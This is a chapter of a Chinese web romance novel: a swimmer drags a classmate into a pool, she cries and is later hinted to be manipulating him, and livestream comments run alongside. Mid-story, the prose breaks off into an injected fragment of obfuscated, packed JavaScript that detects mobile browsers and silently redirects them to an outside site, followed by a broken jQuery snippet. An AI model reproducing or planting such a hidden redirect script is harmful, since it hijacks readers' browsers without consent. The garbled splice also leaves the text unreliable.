周六,校内游泳馆。

    上午八点左右,是校游泳队例行的训练时间,来参加训练的包括陆照夜在内,共有12人。

    现在刚开学,教练打算先来一次摸底测试。

    队员们各自戴着区别身份的不同颜色泳帽,发令枪一响,就下饺子一样扑进水中。

    不过,校游泳队里的不全是体育生,也有普通学生在,目标是拿国内或者跨国的青少年业余游泳比赛名次,对竞技的要求不至于严苛到专业级别。

    除了某人。

    哨声响过后不到几秒,陆照夜就在赛道上显得一骑绝尘,把其他人甩出了一大截。

    二百米自由泳的赛程游完,他冲破水面,抬手扒住池边,胸口在水波中剧烈起伏,浑身肌肉因剧烈运动而贲张,水珠连成一条线,从轮廓分明的脸廓汇聚到下巴处,不断垂落。

    他喘着气看向助教。

    “1分54秒。”同样穿着泳裤的年轻助教掐表,报出了他的200米用时。

    “啧。”他不满地啧了一下舌。

    也难怪他会不满意,上学期期末,他的最好成绩是游进了1分50秒,而想要进国家队,游进1分53秒是基础,1分49秒才能保稳。

    四秒钟的差距,像个响亮的巴掌打在脸上,对他来说是一个严重的警示信号,明晃晃地昭示着他的懈怠。

    助教倒不是很担心他的状态,趁着教练在旁边骂别的学员动作慢得像乌龟爬,伸手拉了他一把,让他借着自己的力量爬上岸,又递过水瓶和毛毯,闲聊道:

    “小陆,暑假怎么回事,懈怠了?”

    陆照夜觉得晦气,咕咚咕咚喝了好几口水,用毛毯随意擦了擦头发,又吊儿郎当地往宽肩上一披,浑身冒着热气,大喇喇露着排列整齐的结实腹肌,随口胡诌:

    “去了趟夏令营,里头全是旱鸭子,也没地方练。”

    “那可就得不偿失了。”助教笑了,“什么夏令营这么好玩,连游泳也不练了?那你陆上训练做了没?”

    陆照夜的视线飘忽了一会儿:

    “……算吧。就做了点俯卧撑……什么的。”

    “嗯?”助教不解,“俯卧撑……也行吧,不过最重要的还是引体向上、跳箱和拉力绳之类的训练,如果这些没做,那复健起来就比较麻烦了,今后得加倍努力才行,不然国家队肯定没指望。放心,我和教练都会帮——”

    “知道了知道了。”他不耐烦了,有些烦躁地敷衍,显得很懊恼地嘟哝,“都说了是不可抗力了……”

    他说话的时候,视线一直牢牢粘在游泳馆的入口处,话音未落,就捕捉到一个女孩走了进来,身边还跟了个男人,立刻站起身,毯子也不要了,直勾勾盯着那边:

    “喊的人来了。我去接一下。”

    助教的话被打断,闭上嘴顺着他的视线看过去,看到那道穿着校服的标致身影后,有些了然:

    “哦……叫女朋友来了啊。”

    他哈了一声,面对助教,倒着走了几步,伸出双手的食指和中指,弯曲两下,做了个“你懂的”双引号手势:

    “‘女朋友’?她看起来是我的菜吗?搞笑。”

    助教“嗯……”了一会儿,不置可否,表情有些意味深长。

    他离开后,教练走过来问他的成绩,助教如实说了,教练也并不担心:

    “这小子正是贪玩的年纪,懈怠了也是情有可原。他家里人还打过招呼,别对他太严格,现在看来,属于有点天分,但是容易荒废的苗子。回家继承家业也不一定是坏事。”

    助教问:“可我们学校最有希望进国家队的也就是他了吧?就这样放养下去合适吗?他选上了,对我们学校来说也算是个正面宣传吧。”

    教练似笑非笑地看了他一眼,反问:

    “你觉得是一个游几年就会退役的国家级游泳运动员,对宣传的帮助大,还是在体制里爬到高处的校友,对宣传的帮助大?”

    助教对陆家的背景也略知一二,闻言沉默了片刻,干笑道:

    “哈哈。”

    他们的视线不约而同地落到了远处正赤着脚迎向女孩的陆照夜。

    他戴着黑色泳帽,柔软的中短发被收在里头,黑色泳镜推到额头上方。

    闷了一个暑假,小麦色肌肤被捂白了一点,水珠顺着宽肩窄腰往下淌,流过块垒分明的腹肌,从人鱼线滑到泳裤松紧带上就被截住了。

    江赴灵背着单肩包,走进来时身边还跟着一名带路的清洁工,对方正向她介绍游泳馆的构造,显得有些用力过猛,甚至还想伸手替她拿包。

    江赴灵不动声色地把单肩包换了远离对方的一边背,礼貌拒绝道:

    “不用了,我已经知道怎么走了,你去忙你的吧,谢谢带路。”

    清洁工还想说些什么,见到对面大步流星走过来的陆照夜,不经意和对方黑沉的眼神对上,立刻站住了,从嗓子眼里挤出一句“那我走了”,转身急匆匆溜了。

    陆照夜几步就赶了过来,在她面前几步处停下,近乎坦荡地展示着自己的身材,视线在落荒而逃的清洁工身上转了一圈,又落回她身上:

    “怎么迟到了,迷路?在游泳馆里也能迷路,笨。”

    江赴灵有些无奈:

    “第一次来,不认识路不是很正常。而且说好的是八点整吧,现在才刚到时间啊,我提前了十五分钟出门呢。”

    “路不认识,指路标牌也不认识?”他忽略了她关于没迟到的抗辩,直接伸手抓住她的手腕,把人拽到身侧,像是在划地盘的恶犬,“跟紧了。别再给苍蝇缠上了。”

    她踉跄两步,跟上了他的步伐,纤细手腕被湿润的滚烫掌心包裹:

    “等下,你不是说今天要我帮你掐秒表,按小时算薪水吗?我刚才看到已经有人帮你——”

    “没有。”陆照夜斩钉截铁地给助教降了级,“那是路过被我抓来当临时工的工作人员。”

    他说完,侧过头看向她,举起她被抓住的手腕,抬到二人视线之间晃了晃:

    “现在,我抓到你了。当然要你来掐表。”

    泳池里有给陆照夜专门留的一条专业赛道,江赴灵就这样被他按在了赛道终点处,手里莫名其妙被塞进了一个专业秒表。

    助教见到这架势,非常自觉地跑去给别的学员掐表了。

    直播间已经笑疯了。

    【助教:谁喂我花生!】

    【哈哈哈助教有点可怜巴巴的。】

    【别人跟着灰姑娘:苍蝇扰民。陆自己碰灰姑娘:真爱降临!】

    【哈哈哈哈哈哈!陆要是烧成灰,在土里埋上一千年,再挖出来,灰都没了,唯一剩下的就是那张嘴!但是他说笨的时候,眼神好宠啊!】

    【让我拆解一下陆的心路历程:要攻略她=展示自己的男性魅力=秀肌肉,他现在大概已经觉得胜券在握了吧?但是!但是啊!还有人记得灰姑娘是单箭头谢神的吗?】

    【坐等陆滑铁卢。】

    【他之前说暑假就做了点俯卧撑时候的表情,我看着怎么怪怪的?有人跟我一个想法吗?】

    【前面的,你的想法是不是过于具体了?】

    【弱弱举手,我好像也……想到什么了。】

    【他这样的条件,做做俯卧撑不是很正常?跟别人一起做做俯卧撑不是也很正常?至于在哪儿做的你别管!】

    【不管黑的白的总之先说成黄的是吧?这是直播间,不是无人区!】

    【裤衩子已经满天飞了,躺平吧。】

    直播间的弹幕已经彻底放飞自我了,而江赴灵,搬了个小塑料凳,坐在泳池旁边,尽职尽责地给他掐秒表。

    陆照夜又游了几个来回,最好成绩是1分52秒。

    一整个暑假,两个月没练,对他来说的影响还是巨大的,那三秒钟的差距就像是怎么都填不平的鸿沟,叫他烦躁不已,甚至在游完最后一次后,趴在池边,抬手戳了戳她小腿,纳闷问她:

    “你不会在搞我吧?到底多少秒?”

    江赴灵把秒表清零,拍开他的手:

    “搞你对我来说有什么好处?我只是拿薪水办事而已,不过你要是愿意,我可以提前给你按,到时候你想游进一分钟都可以有。”

    陆照夜被她的反唇相讥噎得说不上来话,胸口气得剧烈起伏,感觉连四面八方的水压都在找他茬。

    他瞪着她,几秒后忽然想到什么,不怀好意地笑了:

    “游累了。我要劳逸结合。”

    “嗯?”江赴灵还没反应过来,就感觉脚踝被抓住了,尖叫一声,被他水鬼一样拖进了泳池,下一秒,后腰和膝弯就被一双结实的手臂托住,不至于在深水区沉底,但整个人已经泡在了水里,校服全湿了,溅起的水花也打湿了长发,湿漉漉地粘在脸颊和肩背上,她只能本能地紧紧抱住对方的脖颈,防止自己往下沉,叫道:

    “你有病啊!”

    他顺势逗弄般接上一句:

    “你能治啊?”

    岸上的教练、助教,还有水里的队员全都闻声看了过来,但只有教练喊了一嗓子:

    “陆照夜!把人给我放下!”

    江赴灵慌里慌张地腾出一只手去捂漂浮起来的裙底,特意改短的校服裙在此时劣势尽显,一双白皙大腿几乎毫无遮掩。

    下一秒,托着她膝弯的手就松开了,替她压了压裙边,把人竖着搂在了怀里,让她不至于漂在水面上走光。

    陆照夜一边搂着人悠闲踩水,一边满意地欣赏她吓得脸色发白的表情,然后抬头对教练回道:

    “不行啊,我一放,她不就沉底了吗?”

    教练骂他:

    “臭小子,女朋友是这么用的吗!?”

    陆照夜的脸色沉了下来,没说什么,但也没放手,就保持着这样对江赴灵来说十分危险的姿势,只靠掐住她后腰的手,还有她抱着自己脖颈的胳膊保持连接,侧头看向她试探道:

    “烦死了,怎么都说你是我女朋友,我都说了——”

    他的话音戛然而止。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17837726|211519||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >江赴灵把脸埋在他颈窝里,肩膀在微微颤抖。

    他的呼吸瞬间止住,脑子里只有一句话。

    ——他惹她哭了。

    “……喂。”他嗓子艰涩,用没抱住她的那只手,小心地碰了碰她露在外面的侧脸,不确定上面沾染的是泳池水还是泪,有点慌了,“你,你不会哭了吧?不至于吧,开个玩笑而已啊。”

    对方没回答,搂着他脖颈的胳膊紧了紧,把头埋得更深了。

    女孩特有的体温隔着一层薄薄的校服传递过来,不及他的滚烫,却带着一种能将铮铮铁骨都融化的温软。

    她紧紧抱着他的脖颈,肩膀发着抖,身上还散发着一股好闻的皂粉味,混在泳池的消毒水气味里,显得好闻又干净。

    她在无依无靠的水中,只能狼狈地攀附着他。

    那样脆弱无助,惹人怜惜。

    所有的感官,触觉,嗅觉,视觉,都在极近的距离下被成倍放大。

    原本计划着用吊桥效应让她在生理层面屈服于他,可现在看来,输掉的似乎另有其人。

    陆照夜咽了咽口水,忍不住放软了声音哄:

    “行了行了,别哭了,我带你上去行了吧?还有……还有,我一会儿请你吃饭!你想点什么点什么!多少钱都行!”

    天杀的,他长这么大,就没哄过女孩子,手都不知道往哪儿放。

    江赴灵总算开口了,脸还埋在他颈窝里,声音带着鼻音:

    “……我怕水。”

    他的良心一下子就揪了起来。

    她接着哭道:

    “我爸爸……就是因为水去世的。陆照夜,你好过分。我害怕……”

    陆照夜愣在原地,不知不觉间,不再踩水了,而是伸出一只手搭在池壁上,靠了岸,搂着她腰的手紧了紧,把人更深地按进自己怀里。

    他垂首看向她发丝凌乱的发顶,大脑一片空白。

    所有的人声、水声,都从他的耳朵里过滤掉了。

    她的话,每个字都深深扎在他心上。

    听传闻说她是个孤儿。

    父母双全的他无法共情,可这不代表他是个能毫不在乎往别人伤口上撒盐的混蛋。

    尤其对方还是她。

    他左手搂着她,右手扒着池壁,再也腾不出手来安抚她,只好用下巴轻轻抵在她发顶压了压,聊作安慰,哑着嗓子,涩声道:

    “……我……我不知道。那个,别哭了。你要什么我都答应你,行吗?”

    江赴灵肩膀的颤抖过了一会儿才停止,她没有抬头,只带着鼻音问:

    “真的吗?”

    “真的!骗你是小狗!”他连忙发誓。

    江赴灵终于抬头,眼眶还是湿软的,泛着薄红,浑身湿漉漉的,狼狈得很。

    她没有顺势提出更过分的要求,只软软地问:

    “你能不能帮我找一套能穿的干衣服?”

    她刚刚受了惊吓。

    可她没有骂他,也没有顺势提出什么过分的要求。

    她只要一套衣服。

    陆照夜呼吸一窒,愧疚感达到顶峰,一只手搂住她,一只手划水,把她往池边的爬梯带:

    “你先去岸上等着,我去给你拿。”

    他自己先上了岸,拿了条宽大的干毛巾,在她上来时,无缝衔接地披在她肩上,在胸口处紧了紧连接处,让她自己攥好,叮嘱道:

    “在这里待着,不许乱跑。”

    说完就急匆匆跑了。

    他走之后,直播间的弹幕飘过几道问号。

    【?】

    【我记得灰姑娘的爸爸虽然确实是意外去世的,但好像跟水没什么关系吧……】

    【前面的求过程!】

    【积点德吧,别窥探别人家的私事。】

    【不是,我怎么感觉陆大概率是被灰姑娘套路了呢?】

    【不知道,我现在已经分不清真假了……特别是涉及到灰姑娘的事情,不敢发言。】

    【呜呜呜她哭得好可怜,想抱抱她。】

    【陆走了之后她也还缩在毯子里哭诶……可怜的宝宝。】

    【抛开灰姑娘说没说谎不谈,陆把人拖下水也太没风度了吧?】

    【还有更没风度的呢,他用篮球砸过人家女孩子的头,你不知道?】

    【前面的,那是意外好不好!他后来也道歉了,他对女孩子一向很绅士的!】

    【哦,拖人下水的绅士。】

    【绝了,别吵了,我是他朋友,当时也在现场,我作证,是篮球打到篮筐上,反弹回去正好砸到人家的头的,医药费他也赔了,还是超额赔的,你们别造他谣了成吗?真是有病。】

    弹幕吵得不可开交,而游泳馆里,江赴灵被安置在远离人群的角落里,正在低头用毯子边角一点一点地擦拭滴着水的衣物和皮肤。

    虽然眼眶还是红的,但脸上那种面对陆照夜时楚楚可怜的神情已经消失无踪,取而代之的是一种若有所思的表情。

    被我,逮到把柄了。